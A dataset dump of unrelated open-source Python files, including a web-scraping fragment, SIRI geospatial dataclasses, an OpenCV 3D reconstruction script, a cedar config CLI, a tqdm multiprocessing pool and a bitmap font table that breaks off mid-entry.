requests\r\n\r\n\r\n\r\nurl='https://www.myntra.com/dresses?f=Gender%3Amen%20women%2Cwomen'\r\nr=requests.get(url)\r\nhtmlContent=r.content\r\nsoup=BeautifulSoup(htmlContent,'html.parser')\r\nprint(soup.prettify)\r\n", "source": "namitakarnatak/crispy-potato", "license": "bzip2-1.0.6"} {"text": "import typing\nimport dataclasses as dc\nfrom .raw_client import RawClient\n\n\nT = typing.TypeVar('T')\n\n\n@dc.dataclass\nclass ApiStorage:\n _client: RawClient\n _apis: typing.Dict[typing.Type[typing.Any], typing.Any] = dc.field(default_factory=dict)\n\n def get_api(self, api_type: typing.Type[T]) -> T:\n if not issubclass(api_type, ApiBase):\n raise ValueError('Invalid api type')\n\n if api_type not in self._apis:\n self._apis[api_type] = api_type(client=self._client, storage=self)\n result: T = self._apis[api_type]\n return result\n\n\n@dc.dataclass\nclass ApiBase:\n client: RawClient\n storage: ApiStorage\n", "source": "sunsx0/yah", "license": "MIT"} {"text": "from dataclasses import dataclass, field\nfrom decimal import Decimal\nfrom typing import List, Optional\n\n__NAMESPACE__ = \"http://www.siri.org.uk/siri\"\n\n\n@dataclass\nclass LocationStructure:\n \"\"\"Type for gepspatial Position of a point.\n\n May be expressed in concrete WGS 84 Coordinates or any gml\n compatible point coordinates format.\n\n :ivar longitude: Longitude from Greenwich Meridian. -180 (East) to\n +180 (West). Decimal degrees. eg 2.356\n :ivar latitude: Latitude from equator. -90 (South) to +90 (North).\n Decimal degrees. eg 56.356\n :ivar coordinates: Coordinates of points in a GML compatibe format,\n as indicated by srsName attribute.\n :ivar precision: Precision for point measurement. In meters.\n :ivar id: Identifier of POINT.\n :ivar srs_name: identifier of data reference system for geocodes if\n point is specified as gml compatible Coordinates. A gml value.\n If not specified taken from system configuration.\n \"\"\"\n\n longitude: Optional[Decimal] = field(\n default=None,\n metadata={\n \"name\": \"Longitude\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_inclusive\": Decimal(\"-180\"),\n \"max_inclusive\": Decimal(\"180\"),\n },\n )\n latitude: Optional[Decimal] = field(\n default=None,\n metadata={\n \"name\": \"Latitude\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_inclusive\": Decimal(\"-90\"),\n \"max_inclusive\": Decimal(\"90\"),\n },\n )\n coordinates: List[str] = field(\n default_factory=list,\n metadata={\n \"name\": \"Coordinates\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"tokens\": True,\n },\n )\n precision: Optional[int] = field(\n default=None,\n metadata={\n \"name\": \"Precision\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n },\n )\n id: Optional[str] = field(\n default=None,\n metadata={\n \"type\": \"Attribute\",\n },\n )\n srs_name: Optional[str] = field(\n default=None,\n metadata={\n \"name\": \"srsName\",\n \"type\": \"Attribute\",\n },\n )\n\n\n@dataclass\nclass SrsName:\n \"\"\"\n GML Spatial coordinate reference system.\n \"\"\"\n\n class Meta:\n namespace = \"http://www.siri.org.uk/siri\"\n\n value: str = field(\n default=\"\",\n metadata={\n \"required\": True,\n },\n )\n\n\n@dataclass\nclass BoundingBoxStructure:\n \"\"\"Defines a bounding box using two corner points.\n\n GML terminology. +SIRI v2.0\n\n :ivar upper_left: A geospatial point. Upper Left corner. .\n :ivar lower_right: A geospatial point. Lower right corner. .\n \"\"\"\n\n upper_left: Optional[LocationStructure] = field(\n default=None,\n metadata={\n \"name\": \"UpperLeft\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"required\": True,\n },\n )\n lower_right: Optional[LocationStructure] = field(\n default=None,\n metadata={\n \"name\": \"LowerRight\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"required\": True,\n },\n )\n\n\n@dataclass\nclass LineShapeStructure:\n \"\"\"\n Defines a line shape +SIRI v2.0.\n\n :ivar point: A geospatial point. +SIRI v2.0 .\n \"\"\"\n\n point: List[LocationStructure] = field(\n default_factory=list,\n metadata={\n \"name\": \"Point\",\n \"type\": \"Element\",\n \"namespace\": \"http://www.siri.org.uk/siri\",\n \"min_occurs\": 2,\n },\n )\n", "source": "grutts/siri", "license": "MIT"} {"text": "from wemake_python_styleguide.compat.packaging import (\n PackageNotFoundError,\n get_version,\n)\n\n\ndef _get_version(dist_name: str) -> str: # pragma: no cover\n \"\"\"Fetches distribution version.\"\"\"\n try:\n return get_version(dist_name)\n except PackageNotFoundError:\n return '' # readthedocs cannot install `poetry` projects\n\n\n#: This is a package name.\npkg_name = 'wps-light'\n\n#: We store the version number inside the `pyproject.toml`.\npkg_version = _get_version(pkg_name)\n", "source": "pawamoy/wemake-python-styleguide", "license": "MIT"} {"text": "import numpy as np, cv2 as cv, matplotlib.pyplot as plt, time, sys, os\nfrom mpl_toolkits.mplot3d import axes3d, Axes3D\n\ndef getEpipolarError(F, pts1_, pts2_, inliers):\n pts1 = np.concatenate((pts1_.T, np.ones((1, pts1_.shape[0]))))[:,inliers]\n pts2 = np.concatenate((pts2_.T, np.ones((1, pts2_.shape[0]))))[:,inliers]\n lines2 = np.dot(F , pts1)\n lines1 = np.dot(F.T, pts2)\n\n return np.median((np.abs(np.sum(pts1 * lines1, axis=0)) / np.sqrt(lines1[0,:]**2 + lines1[1,:]**2) +\n np.abs(np.sum(pts2 * lines2, axis=0)) / np.sqrt(lines2[0,:]**2 + lines2[1,:]**2))/2)\n\nif __name__ == '__main__':\n if len(sys.argv) < 3:\n print(\"Path to data file and directory to image files are missing!\\nData file must have\"\n \" format:\\n--------------\\n image_name_1\\nimage_name_2\\nk11 k12 k13\\n0 k22 k23\\n\"\n \"0 0 1\\n--------------\\nIf image_name_{1,2} are not in the same directory as \"\n \"the data file then add argument with directory to image files.\\nFor example: \"\n \"python essential_mat_reconstr.py essential_mat_data.txt ./\")\n exit(1)\n else:\n data_file = sys.argv[1]\n image_dir = sys.argv[2]\n\n if not os.path.isfile(data_file):\n print('Incorrect path to data file!')\n exit(1)\n\n with open(data_file, 'r') as f:\n image1 = cv.imread(image_dir+f.readline()[:-1]) # remove '\\n'\n image2 = cv.imread(image_dir+f.readline()[:-1])\n K = np.array([[float(x) for x in f.readline().split(' ')],\n [float(x) for x in f.readline().split(' ')],\n [float(x) for x in f.readline().split(' ')]])\n\n if image1 is None or image2 is None:\n print('Incorrect directory to images!')\n exit(1)\n if K.shape != (3,3):\n print('Intrinsic matrix has incorrect format!')\n exit(1)\n\n print('find keypoints and compute descriptors')\n detector = cv.SIFT_create(nfeatures=20000)\n keypoints1, descriptors1 = detector.detectAndCompute(cv.cvtColor(image1, cv.COLOR_BGR2GRAY), None)\n keypoints2, descriptors2 = detector.detectAndCompute(cv.cvtColor(image2, cv.COLOR_BGR2GRAY), None)\n\n matcher = cv.FlannBasedMatcher(dict(algorithm=0, trees=5), dict(checks=32))\n print('match with FLANN, size of descriptors', descriptors1.shape, descriptors2.shape)\n matches_vector = matcher.knnMatch(descriptors1, descriptors2, k=2)\n\n print('find good keypoints')\n pts1 = []; pts2 = []\n for m in matches_vector:\n # compare best and second match using Lowe ratio test\n if m[0].distance / m[1].distance < 0.75:\n pts1.append(keypoints1[m[0].queryIdx].pt)\n pts2.append(keypoints2[m[0].trainIdx].pt)\n pts1 = np.array(pts1); pts2 = np.array(pts2)\n print('points size', pts1.shape[0])\n\n print('Essential matrix RANSAC')\n start = time.time()\n E, inliers = cv.findEssentialMat(pts1, pts2, K, cv.RANSAC, 0.999, 1.0)\n print('RANSAC time', time.time() - start, 'seconds')\n print('Median error to epipolar lines', getEpipolarError\n (np.dot(np.linalg.inv(K).T, np.dot(E, np.linalg.inv(K))), pts1, pts2, inliers.squeeze()),\n 'number of inliers', inliers.sum())\n\n print('Decompose essential matrix')\n R1, R2, t = cv.decomposeEssentialMat(E)\n\n # Assume relative pose. Fix the first camera\n P1 = np.concatenate((K, np.zeros((3,1))), axis=1) # K [I | 0]\n P2s = [np.dot(K, np.concatenate((R1, t), axis=1)), # K[R1 | t]\n np.dot(K, np.concatenate((R1, -t), axis=1)), # K[R1 | -t]\n np.dot(K, np.concatenate((R2, t), axis=1)), # K[R2 | t]\n np.dot(K, np.concatenate((R2, -t), axis=1))] # K[R2 | -t]\n\n obj_pts_per_cam = []\n # enumerate over all P2 projection matrices\n for cam_idx, P2 in enumerate(P2s):\n obj_pts = []\n for i, (pt1, pt2) in enumerate(zip(pts1, pts2)):\n if not inliers[i]:\n continue\n # find object point by triangulation of image points by projection matrices\n obj_pt = cv.triangulatePoints(P1, P2, pt1, pt2)\n obj_pt /= obj_pt[3]\n # check if reprojected point has positive depth\n if obj_pt[2] > 0:\n obj_pts.append([obj_pt[0], obj_pt[1], obj_pt[2]])\n obj_pts_per_cam.append(obj_pts)\n\n best_cam_idx = np.array([len(obj_pts_per_cam[0]),len(obj_pts_per_cam[1]),\n len(obj_pts_per_cam[2]),len(obj_pts_per_cam[3])]).argmax()\n max_pts = len(obj_pts_per_cam[best_cam_idx])\n print('Number of object points', max_pts)\n\n # filter object points to have reasonable depth\n MAX_DEPTH = 6.\n obj_pts = []\n for pt in obj_pts_per_cam[best_cam_idx]:\n if pt[2] < MAX_DEPTH:\n obj_pts.append(pt)\n obj_pts = np.array(obj_pts).reshape(len(obj_pts), 3)\n\n # visualize image points\n for i, (pt1, pt2) in enumerate(zip(pts1, pts2)):\n if inliers[i]:\n cv.circle(image1, (int(pt1[0]), int(pt1[1])), 7, (255,0,0), -1)\n cv.circle(image2, (int(pt2[0]), int(pt2[1])), 7, (255,0,0), -1)\n\n # concatenate two images\n image1 = np.concatenate((image1, image2), axis=1)\n # resize concatenated image\n new_img_size = 1200. * 800.\n image1 = cv.resize(image1, (int(np.sqrt(image1.shape[1] * new_img_size / image1.shape[0])),\n int(np.sqrt (image1.shape[0] * new_img_size / image1.shape[1]))))\n\n # plot object points\n fig = plt.figure(figsize=(13.0, 11.0))\n ax = fig.add_subplot(111, projection='3d')\n ax.set_aspect('auto')\n ax.scatter(obj_pts[:,0], obj_pts[:,1], obj_pts[:,2], c='r', marker='o', s=3)\n ax.set_xlabel('x')\n ax.set_ylabel('y')\n ax.set_zlabel('depth')\n ax.view_init(azim=-80, elev=110)\n\n # save figures\n cv.imshow(\"matches\", image1)\n cv.imwrite('matches_E.png', image1)\n plt.savefig('reconstruction_3D.png')\n\n cv.waitKey(0)\n plt.show()\n", "source": "collinbrake/opencv", "license": "Apache-2.0"} {"text": "\"\"\" CLI tools for working with cedar configuration files\n\"\"\"\nimport json\nimport logging\nimport os\nfrom pathlib import Path\nimport shutil\n\nimport click\n\nfrom . import options\n\n\n@click.group('config', help='Create or check cedar configuration files')\n@click.pass_context\ndef group_config(ctx):\n pass\n\n\n@group_config.command('template', short_help='Generate a config file template')\n@click.argument('dest', required=False, type=click.Path(dir_okay=False))\n@click.option('--comment', is_flag=True, help='Comment out the template file')\n@click.pass_context\ndef config_template(ctx, dest, comment):\n \"\"\" Generate a template configuration file\n \"\"\"\n from cedar.config import TEMPLATE_FILE\n\n with open(str(TEMPLATE_FILE)) as template:\n lines = list(template)\n\n if comment:\n lines = ['# ' + line if not line.startswith('#') else line\n for line in lines]\n\n if dest:\n dest = Path(dest)\n dest.parent.mkdir(parents=True, exist_ok=True)\n\n tmp = f'{dest}.tmp.{os.getpid()}'\n with open(tmp, 'w') as tmp_dst:\n tmp_dst.write(''.join(lines))\n shutil.move(str(tmp), str(dest))\n\n click.echo(f'Wrote template file to \"{dest}\"')\n else:\n for line in lines:\n click.echo(line, nl=False)\n\n\n@group_config.command('build', short_help='Interactively build a config file')\n@click.argument('dest', type=click.Path(dir_okay=False))\n@click.pass_context\ndef config_build(ctx, dest):\n click.echo('To do... maybe you?')\n raise click.Abort()\n\n\n@group_config.command('print', short_help='Parse and print config file')\n@click.argument('config_file',\n type=click.Path(dir_okay=False, resolve_path=True))\n@click.pass_context\ndef config_print(ctx, config_file):\n \"\"\" This program should help you check your config file is valid\n \"\"\"\n from jsonschema.exceptions import ValidationError\n from cedar.config import Config\n\n try:\n cfg = Config.from_yaml(config_file)\n except ValidationError as ve:\n click.echo(f'Configuration file failed to validate: \"{ve.message}\"')\n raise click.Abort()\n except Exception as e:\n click.echo(f'Could not parse configuration file \"{config_file}\":\\n{e}')\n raise click.Abort()\n else:\n click.echo(cfg.to_yaml(indent=2))\n", "source": "ceholden/cedar-datacube", "license": "BSD-3-Clause"} {"text": "import multiprocessing\nimport signal\nfrom signal import SIGINT, SIG_IGN\nfrom queue import Empty as EmptyQueue\nimport sys\nimport tqdm\nfrom functools import partial\n\nimport logging\nfrom .logger import setup_logger_child_process\nlogger = logging.getLogger(__name__)\n\nclass MultiProcessTqdm(object):\n def __init__(self, message_queue, tqdm_id, *args, **kwargs):\n self.message_queue = message_queue\n self.tqdm_id = tqdm_id\n message = (multiprocessing.current_process().name, \"__init__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n\n def __enter__(self, *args, **kwargs):\n message = (multiprocessing.current_process().name, \"__enter__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n return self\n\n def __exit__(self, *args, **kwargs):\n message = (multiprocessing.current_process().name, \"__exit__\", args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n\n def __getattr__(self, method_name):\n def _missing(*args, **kwargs):\n message = (multiprocessing.current_process().name, method_name, args, kwargs)\n self.message_queue.put((self.tqdm_id, message))\n return _missing\n\nclass GlobalMultiProcessTqdm(MultiProcessTqdm):\n # We don't want to init so no message is passed. Also the id is not applicable. \n def __init__(self, message_queue):\n self.message_queue = message_queue\n self.tqdm_id = 0\n\ndef get_multi_tqdm(message_queue, tqdms_list, *args, **kwargs):\n tqdm_id = len(tqdms_list)\n # kwargs[\"mininterval\"] = 1 # Slow it down\n multi_tqdm = MultiProcessTqdm(message_queue, tqdm_id, *args, **kwargs)\n tqdms_list.append(multi_tqdm)\n return multi_tqdm\n\nterminate = False\ndef handler(signal_received, frame):\n global terminate\n terminate = True\n\n# Signal handling for multiprocess. The \"correct\" answer doesn't work on windows at all.\n# Using the version with a very slight race condition. Don't ctrl-c in that miniscule time window...\n# https://stackoverflow.com/questions/11312525/catch-ctrlc-sigint-and-exit-multiprocesses-gracefully-in-python\ndef init_worker(logging_queue):\n setup_logger_child_process(logging_queue) \n signal.signal(SIGINT, SIG_IGN)\n\ndef task_wrapper(tqdm_queue, global_tqdm_queue, operation, *args):\n tqdms_list = []\n tqdm_partial = partial(get_multi_tqdm, tqdm_queue, tqdms_list)\n global_tqdm = GlobalMultiProcessTqdm(global_tqdm_queue)\n return operation(*args, tqdm_partial, global_tqdm)\n\nclass TqdmMultiProcessPool(object):\n def __init__(self, process_count):\n self.mp_manager = multiprocessing.Manager()\n self.logging_queue = self.mp_manager.Queue()\n self.tqdm_queue = self.mp_manager.Queue()\n self.global_tqdm_queue = self.mp_manager.Queue()\n self.process_count = process_count\n worker_init_function = partial(init_worker, self.logging_queue) \n self.mp_pool = multiprocessing.Pool(self.process_count, worker_init_function)\n\n def map(self, global_tqdm, tasks, on_error, on_done):\n\n self.previous_signal_int = signal.signal(SIGINT, handler)\n\n tqdms = {} # {} for _ in range(process_count)]\n\n async_results = []\n for operation, args in tasks:\n wrapper_args = tuple([self.tqdm_queue, self.global_tqdm_queue, operation] + list(args))\n async_results.append(self.mp_pool.apply_async(task_wrapper, wrapper_args))\n\n completion_status = [False for _ in async_results]\n countdown = len(completion_status)\n task_results = [None for _ in async_results]\n while countdown > 0 and not terminate:\n # Worker Logging\n try:\n logger_record = self.logging_queue.get_nowait()\n getattr(logger, logger_record.levelname.lower())(logger_record.getMessage())\n except (EmptyQueue, InterruptedError):\n pass\n\n # Worker tqdms\n try:\n count = 0\n while True:\n tqdm_id, tqdm_message = self.tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n process_id = int(process_id[-1])\n if process_id not in tqdms:\n tqdms[process_id] = {}\n\n if method_name == \"__init__\":\n tqdms[process_id][tqdm_id] = tqdm.tqdm(*args, **kwargs)\n else:\n getattr(tqdms[process_id][tqdm_id], method_name)(*args, **kwargs)\n\n count += 1\n if count > 1000:\n logger.info(\"Tqdm worker queue flood.\")\n except (EmptyQueue, InterruptedError):\n pass\n\n # Global tqdm\n try:\n count = 0 \n while True:\n tqdm_id, tqdm_message = self.global_tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n getattr(global_tqdm, method_name)(*args, **kwargs)\n\n count += 1\n if count > 1000:\n logger.info(\"Tqdm global queue flood.\")\n except (EmptyQueue, InterruptedError):\n pass\n\n # Task Completion\n for i, async_result in enumerate(async_results):\n if completion_status[i]:\n continue\n if async_result.ready():\n task_result = async_result.get()\n task_results[i] = task_result\n completion_status[i] = True\n countdown -= 1\n\n # Task failed, do on_error\n if not task_result:\n on_error(task_result)\n\n on_done(task_result)\n\n if terminate:\n logger.info('SIGINT or CTRL-C detected, closing pool. Please wait.')\n self.mp_pool.close()\n\n # Clear out remaining message queues. Sometimes get_nowait returns garbage\n # without erroring, just catching all exceptions as we don't care that much\n # about logging messages.\n try:\n while True:\n logger_record = self.logging_queue.get_nowait()\n getattr(logger, logger_record.levelname.lower())(logger_record.getMessage())\n except (EmptyQueue, InterruptedError):\n pass\n except Exception:\n pass\n\n try:\n while True:\n tqdm_id, tqdm_message = self.global_tqdm_queue.get_nowait()\n process_id, method_name, args, kwargs = tqdm_message\n getattr(global_tqdm, method_name)(*args, **kwargs)\n except (EmptyQueue, InterruptedError):\n pass\n\n try:\n while True:\n tqdm_record = self.tqdm_queue.get_nowait()\n tqdm_id, tqdm_message = tqdm_record\n process_id, method_name, args, kwargs = tqdm_message\n process_id = int(process_id[-1])\n if method_name == \"__init__\":\n tqdms[process_id][tqdm_id] = tqdm.tqdm(*args, **kwargs)\n else:\n getattr(tqdms[process_id][tqdm_id], method_name)(*args, **kwargs)\n except (EmptyQueue, InterruptedError):\n pass\n\n if terminate:\n logger.info('Terminating.') \n for key, process_tqdms in tqdms.items():\n for key, tqdm_instance in process_tqdms.items():\n if tqdm_instance:\n tqdm_instance.close()\n sys.exit(0) # Will trigger __exit__\n\n signal.signal(SIGINT, self.previous_signal_int)\n\n return task_results", "source": "EleutherAI/tqdm-multiprocess", "license": "MIT"} {"text": "_FONT = {\n32: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n33: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1032447, 1032447, 1032447, 1048575, 1048575, 1048575, 1048575],\n34: [10, 1048575, 1048575, 1048575, 1045455, 1045455, 1045455, 1045455, 1045455, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n35: [10, 1048575, 1048575, 1048575, 1048575, 986895, 986895, 986895, 786435, 786435, 986895, 986895, 986895, 786435, 786435, 986895, 986895, 1048575, 1048575, 1048575, 1048575],\n36: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 983103, 983043, 1048515, 1048515, 1044483, 983055, 787455, 802815, 802803, 786435, 1032207, 1044735, 1044735, 1048575, 1048575],\n37: [10, 1048575, 1048575, 1048575, 1048575, 851907, 999228, 1036092, 1036092, 1045308, 1047747, 986367, 848703, 848847, 848847, 848883, 987132, 1048575, 1048575, 1048575, 1048575],\n38: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 986895, 1032255, 798735, 786639, 787395, 987075, 790275, 835587, 61455, 1048575, 1048575, 1048575, 1048575],\n39: [10, 1048575, 1048575, 1048575, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n40: [10, 1048575, 1048575, 1048575, 1048575, 987135, 1033215, 1044735, 1047615, 1047615, 1048335, 1048335, 1048335, 1048335, 1048335, 1047615, 1047615, 1044735, 984063, 987135, 1048575],\n41: [10, 1048575, 1048575, 1048575, 1048575, 1048335, 1047567, 1044735, 1033215, 1033215, 987135, 987135, 987135, 987135, 987135, 1033215, 1033215, 1044735, 1047615, 1048335, 1048575],\n42: [10, 1048575, 1048575, 1048575, 1048575, 1044735, 1044735, 798915, 786435, 1044735, 1032255, 986895, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n43: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1047807, 1047807, 1047807, 1047807, 983043, 1047807, 1047807, 1047807, 1047807, 1048575, 1048575, 1048575, 1048575],\n44: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032447, 1032447, 1032447, 1033215, 1044735, 1047615, 1048575],\n45: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1032255, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n46: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n47: [10, 1048575, 1048575, 1048575, 999423, 1036287, 1036287, 1036287, 1045503, 1045503, 1045503, 1047807, 1047807, 1048383, 1048383, 1048383, 1048527, 1048527, 1048527, 1048563, 1048575],\n48: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 798915, 798915, 802755, 802755, 986895, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n49: [10, 1048575, 1048575, 1048575, 1048575, 1033215, 1032447, 1032207, 1033155, 1033215, 1033215, 1033215, 1033215, 1033215, 1033215, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n50: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 983043, 987123, 987135, 987135, 1033215, 1044735, 1047615, 1048335, 1048527, 983043, 983043, 1048575, 1048575, 1048575, 1048575],\n51: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 786435, 802767, 802815, 790527, 983103, 983103, 790527, 802815, 790515, 983043, 1032207, 1048575, 1048575, 1048575, 1048575],\n52: [10, 1048575, 1048575, 1048575, 1048575, 987135, 984063, 983295, 986175, 986943, 986895, 987075, 786435, 786435, 987135, 987135, 987135, 1048575, 1048575, 1048575, 1048575],\n53: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1032207, 983055, 790527, 802815, 802815, 790515, 983043, 1032207, 1048575, 1048575, 1048575, 1048575],\n54: [10, 1048575, 1048575, 1048575, 1048575, 984063, 983103, 1047567, 1048335, 1032195, 983043, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n55: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 802815, 987135, 1033215, 1033215, 1044735, 1044735, 1044735, 1047615, 1047615, 1047615, 1048575, 1048575, 1048575, 1048575],\n56: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 786447, 802755, 802755, 986883, 1032207, 983055, 790467, 802755, 802755, 983043, 1032255, 1048575, 1048575, 1048575, 1048575],\n57: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 790275, 802755, 802755, 802755, 786447, 786495, 987135, 984063, 1032207, 1047567, 1048575, 1048575, 1048575, 1048575],\n58: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n59: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1032447, 1032447, 1032447, 1033215, 1044735, 1047615, 1048575],\n60: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 802815, 984063, 1047567, 1048515, 1047567, 984063, 802815, 1048575, 1048575, 1048575, 1048575, 1048575],\n61: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 786435, 1048575, 1048575, 786435, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575],\n62: [10, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048575, 1048515, 1047567, 984063, 802815, 984063, 1047567, 1048515, 1048575, 1048575, 1048575, 1048575, 1048575],\n63: [10, 1048575, 1048575, 1048575, 1048575, 1032207, 983043, 987123, 987135, 1033215, 1044735, 1047615, 1048575, 1048575, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n64: [10, 1048575, 1048575, 1048575, 1048575, 1032447, 983103, 790287, 802575, 802755, 787395, 786627, 798915, 798915, 786627, 787395, 1048335, 1047567, 983103, 983295, 1048575],\n65: [10, 1048575, 1048575, 1048575, 1048575, 1044543, 1032975, 1032975, 1032975, 1032975, 986883, 987075, 987075, 983043, 983040, 802800, 802800, 1048575, 1048575, 1048575, 1048575],\n66: [10, 1048575, 1048575, 1048575, 1048575, 1044483, 983043, 987075, 987075, 987075, 1044483, 983043, 802755, 802755, 790467, 983043, 1032195, 1048575, 1048575, 1048575, 1048575],\n67: [10, 1048575, 1048575, 1048575, 1048575, 983295, 786495, 850959, 1048323, 1048515, 1048515, 1048515, 1048515, 1048323, 851727, 786447, 983295, 1048575, 1048575, 1048575, 1048575],\n68: [10, 1048575, 1048575, 1048575, 1048575, 1044483, 983043, 987075, 802755, 802755, 802755, 802755, 802755, 802755, 987075, 983043, 1044483, 1048575, 1048575, 1048575, 1048575],\n69: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1048335, 983055, 983055, 1048335, 1048335, 1048335, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n70: [10, 1048575, 1048575, 1048575, 1048575, 786447, 786447, 1048335, 1048335, 1048335, 983055, 983055, 1048335, 1048335, 1048335, 1048335, 1048335, 1048575, 1048575, 1048575, 1048575],\n71: [10, 1048575, 1048575, 1048575, 1048575, 983295, 786495, 850959, 1048323, 1048515, 1048515, 802755, 802755, 802563, 802575, 786447, 786687, 1048575, 1048575, 1048575, 1048575],\n72: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 786435, 786435, 802755, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n73: [10, 1048575, 1048575, 1048575, 1048575, 983055, 983055, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 983055, 983055, 1048575, 1048575, 1048575, 1048575],\n74: [10, 1048575, 1048575, 1048575, 1048575, 983055, 983055, 987135, 987135, 987135, 987135, 987135, 987135, 987135, 984051, 1032195, 1044495, 1048575, 1048575, 1048575, 1048575],\n75: [10, 1048575, 1048575, 1048575, 1048575, 802755, 987075, 1033155, 1032387, 1044675, 1047555, 1044483, 1044675, 1033155, 987075, 987075, 802755, 1048575, 1048575, 1048575, 1048575],\n76: [10, 1048575, 1048575, 1048575, 1048575, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 1048335, 786447, 786447, 1048575, 1048575, 1048575, 1048575],\n77: [10, 1048575, 1048575, 1048575, 1048575, 986895, 986895, 986895, 789519, 798915, 798915, 798915, 798915, 802755, 802755, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n78: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802563, 802563, 801987, 801987, 799683, 799683, 799683, 790467, 790467, 802755, 802755, 1048575, 1048575, 1048575, 1048575],\n79: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 802755, 802755, 802755, 802755, 986895, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n80: [10, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 790467, 983043, 1032195, 1048515, 1048515, 1048515, 1048515, 1048575, 1048575, 1048575, 1048575],\n81: [10, 1048575, 1048575, 1048575, 1048575, 1032255, 983055, 986895, 802755, 802755, 802755, 802755, 802755, 802755, 790275, 983055, 1032255, 1032447, 787455, 802815, 1048575],\n82: [10, 1048575, 1048575, 1048575, 1048575, 1032195, 983043, 790467, 802755, 802755, 790467, 983043, 1032195, 987075, 987075, 802755, 65475, 1048575, 1048575, 1048575, 1048575],\n83: [10, 1048575, 1048575, 1048575, 1048575, 983103, 786447, 851907, 1048515, 1048323, 1032207, 983103, 790527, 802815, 802803, 786435, 1032207, 1048575, 1048575, 1048575, 1048575],\n84: [10, 1048575, 1048575, 1048575, 1048575, 786435, 786435, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1044735, 1048575, 1048575, 1048575, 1048575],\n85: [10, 1048575, 1048575, 1048575, 1048575, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 802755, 790275, 983055, 1032255, 1048575, 1048575, 1048575, 1048575],\n86: [10, 1048575, 1048575, 1048575, 1048575, 802800, 802800, 987075, 987075, 987075, 986883, 1032975, 1032975, 1032207, 1044543, 1044543, 1044543, 1048575, 1048575, 1048575, 1048575],\n87: [10, 1048575, 1048575, 1048575, 1048575, 65520, 65520, 65520, 65520, 61680, 61680, 61680, 53040, 53040, 53040, 16320, 16320, 1048575, 1048575, 1048575, 1048575],\n88: [10, 1048575, 1048575, 1048575, 1048575, 802800, 987075, 987075, 1032975, 1044543, 1044543, 1044543, 1032207, 1032975, 